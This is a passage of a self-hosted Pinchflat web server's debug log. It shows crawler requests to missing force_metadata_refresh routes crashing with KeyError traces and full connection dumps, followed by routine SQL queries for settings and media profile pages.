404 response 17:42:32.488 [error] #PID<0.30913.0> running PinchflatWeb.Endpoint (connection #PID<0.30912.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/6/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41820}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30913.0>, params: %{}, path_info: ["sources", "6", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/6/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9v-mo_H5_QKYAB1sh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41820}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41820}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30913.0>, params: %{}, path_info: ["sources", "6", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} (truncated) 17:42:32.854 [info] GET /sources/28/force_metadata_refresh 17:42:32.854 [debug] QUERY OK source="settings" db=0.1ms idle=1507.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:32.855 [debug] QUERY OK source="settings" db=0.0ms idle=1283.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:32.855 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:32.855 [error] #PID<0.30915.0> running PinchflatWeb.Endpoint (connection #PID<0.30914.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/28/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/28/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30914.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41826}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30915.0>, params: %{}, path_info: ["sources", "28", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/28/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9v_-LAmCc9qUABPPC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30914.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41826}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/28/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30914.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/28/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41826}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30915.0>, params: %{}, path_info: ["sources", "28", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217. (truncated) 17:42:33.353 [info] GET /sources/1/force_metadata_refresh 17:42:33.353 [debug] QUERY OK source="settings" db=0.1ms idle=865.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:33.353 [debug] QUERY OK source="settings" db=0.0ms idle=866.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:33.354 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:33.354 [error] #PID<0.30917.0> running PinchflatWeb.Endpoint (connection #PID<0.30916.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/1/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30916.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41836}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30917.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wB1IIoPNqAYABPPi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30916.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41836}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30916.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 41836}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30917.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} (truncated) 17:42:33.859 [info] GET /media_profiles/2/edit 17:42:33.859 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 17:42:33.859 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1004.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 17:42:33.860 [debug] QUERY OK source="settings" db=0.1ms idle=1004.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:33.860 [debug] QUERY OK source="settings" db=0.0ms idle=506.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:33.860 [debug] QUERY OK source="settings" db=0.0ms idle=506.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:33.861 [info] Sent 200 in 1ms 17:42:34.360 [info] GET /media_profiles/2 17:42:34.360 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 17:42:34.360 [debug] QUERY OK source="media_profiles" db=0.1ms idle=787.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 17:42:34.361 [debug] QUERY OK source="sources" db=0.1ms idle=501.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 17:42:34.361 [debug] QUERY OK source="settings" db=0.1ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:34.361 [debug] QUERY OK source="settings" db=0.0ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:34.361 [debug] QUERY OK source="settings" db=0.0ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:34.362 [info] Sent 200 in 1ms 17:42:34.861 [info] GET /sources/new 17:42:34.861 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 17:42:34.862 [debug] QUERY OK source="media_profiles" db=0.1ms idle=500.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:42:34.862 [debug] QUERY OK source="settings" db=0.1ms idle=500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:34.862 [debug] QUERY OK source="settings" db=0.0ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:34.862 [debug] QUERY OK source="settings" db=0.0ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:34.862 [debug] QUERY OK source="settings" db=0.0ms idle=288.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:34.863 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:34.869 [info] Sent 200 in 7ms 17:42:35.371 [info] GET /sources/45/sync_files_on_disk 17:42:35.371 [debug] QUERY OK source="settings" db=0.1ms idle=509.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 